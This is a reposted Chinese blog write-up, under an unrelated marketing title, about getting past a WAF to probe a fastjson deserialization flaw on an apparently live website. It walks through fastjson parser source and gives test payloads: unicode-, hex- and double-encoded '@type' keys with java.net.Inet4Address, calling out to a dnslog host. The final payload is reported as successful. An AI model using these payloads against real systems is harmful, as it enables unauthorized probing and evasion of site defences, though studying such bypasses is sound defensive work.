您的位置:首页 > 娱乐 > 明星 > 科技有限公司简介模板_网络广告营销对应案例_盘古百晋广告营销是干嘛_社群营销的十大案例

科技有限公司简介模板_网络广告营销对应案例_盘古百晋广告营销是干嘛_社群营销的十大案例

2024/12/23 3:20:23 来源:https://blog.csdn.net/2401_83799022/article/details/142256394  浏览:    关键词:科技有限公司简介模板_网络广告营销对应案例_盘古百晋广告营销是干嘛_社群营销的十大案例
科技有限公司简介模板_网络广告营销对应案例_盘古百晋广告营销是干嘛_社群营销的十大案例

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test

到如下代码

if (ch == '"') {key = lexer.scanSymbol(this.symbolTable, '"');lexer.skipWhitespace();ch = lexer.getCurrent();if (ch != ':') {throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);}
}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {case '"':hash = 31 * hash + 34;this.putChar('"');break;case '#':case '$':case '%':case '&':case '(':case ')':case '*':case '+':case ',':case '-':case '.':case '8':case '9':case ':':case ';':case '<':case '=':case '>':case '?':case '@':case 'A':case 'B':case 'C':case 'D':case 'E':case 'G':case 'H':case 'I':case 'J':case 'K':case 'L':case 'M':case 'N':case 'O':case 'P':case 'Q':case 'R':case 'S':case 'T':case 'U':case 'V':case 'W':case 'X':case 'Y':case 'Z':case '[':case ']':case '^':case '_':case '`':case 'a':case 'c':case 'd':case 'e':case 'g':case 'h':case 'i':case 'j':case 'k':case 'l':case 'm':case 'o':case 'p':case 'q':case 's':case 'w':default:this.ch = chLocal;throw new JSONException("unclosed.str.lit");case '\'':hash = 31 * hash + 39;this.putChar('\'');break;case '/':hash = 31 * hash + 47;this.putChar('/');break;case '0':hash = 31 * hash + chLocal;this.putChar('\u0000');break;case '1':hash = 31 * hash + chLocal;this.putChar('\u0001');break;case '2':hash = 31 * hash + chLocal;this.putChar('\u0002');break;case '3':hash = 31 * hash + chLocal;this.putChar('\u0003');break;case '4':hash = 31 * hash + chLocal;this.putChar('\u0004');break;case '5':hash = 31 * hash + chLocal;this.putChar('\u0005');break;case '6':hash = 31 * hash + chLocal;this.putChar('\u0006');break;case '7':hash = 31 * hash + chLocal;this.putChar('\u0007');break;case 'F':case 'f':hash = 31 * hash + 12;this.putChar('\f');break;case '\\':hash = 31 * hash + 92;this.putChar('\\');break;case 'b':hash = 31 * hash + 8;this.putChar('\b');break;case 'n':hash = 31 * hash + 10;this.putChar('\n');break;case 'r':hash = 31 * hash + 13;this.putChar('\r');break;case 't':hash = 31 * hash + 9;this.putChar('\t');break;case 'u':char c1 = this.next();char c2 = this.next();char c3 = this.next();char c4 = this.next();int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);hash = 31 * hash + val;this.putChar((char)val);break;case 'v':hash = 31 * hash + 11;this.putChar('\u000b');break;case 'x':char x1 = this.ch = this.next();x2 = this.ch = this.next();int x_val = digits[x1] * 16 + digits[x2];char x_char = (char)x_val;hash = 31 * hash + x_char;this.putChar(x_char);
}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

可惜还是被拦截了

尝试了16进制结果还是一样的

特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues, int[] setFlags) {JSONLexer lexer = parser.lexer; // xxxfinal int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;FieldDeserializer fieldDeserializer;if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {fieldDeserializer = getFieldDeserializer(key);} else {fieldDeserializer = smartMatch(key, setFlags);}

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {if (key == null) {return null;}FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);if (fieldDeserializer == null) {long smartKeyHash = TypeUtils.fnv1a_64_lower(key);if (this.smartMatchHashArray == null) {long[] hashArray = new long[sortedFieldDeserializers.length];for (int i = 0; i < sortedFieldDeserializers.length; i++) {hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);}Arrays.sort(hashArray);this.smartMatchHashArray = hashArray;}// smartMatchHashArrayMappingint pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}if (pos >= 0) {if (smartMatchHashArrayMapping == null) {short[] mapping = new short[smartMatchHashArray.length];Arrays.fill(mapping, (short) -1);for (int i = 0; i < sortedFieldDeserializers.length; i++) {int p = Arrays.binarySearch(smartMatchHashArray, TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));if (p >= 0) {mapping[p] = (short) i;}}smartMatchHashArrayMapping = mapping;}int deserIndex = smartMatchHashArrayMapping[pos];if (deserIndex != -1) {if (!isSetFlag(deserIndex, setFlags)) {fieldDeserializer = sortedFieldDeserializers[deserIndex];}}}if (fieldDeserializer != null) {FieldInfo fieldInfo = fieldDeserializer.fieldInfo;if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {return null;}}}return fieldDeserializer;
}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {long hashCode = 0xcbf29ce484222325L;for (int i = 0; i < key.length(); ++i) {char ch = key.charAt(i);if (ch == '_' || ch == '-') {continue;}if (ch >= 'A' && ch <= 'Z') {ch = (char) (ch + 32);}hashCode ^= ch;hashCode *= 0x100000001b3L;}return hashCode;
}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {for (;;) {if (ch <= '/') {if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {next();continue;} else if (ch == '/') {skipComment();continue;} else {break;}} else {break;}}
}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;public class Test {public static void main(String[] args) {String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";JSON.parse(aaa);}
}

确实可以,但是环境上去尝试任然被waf了

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com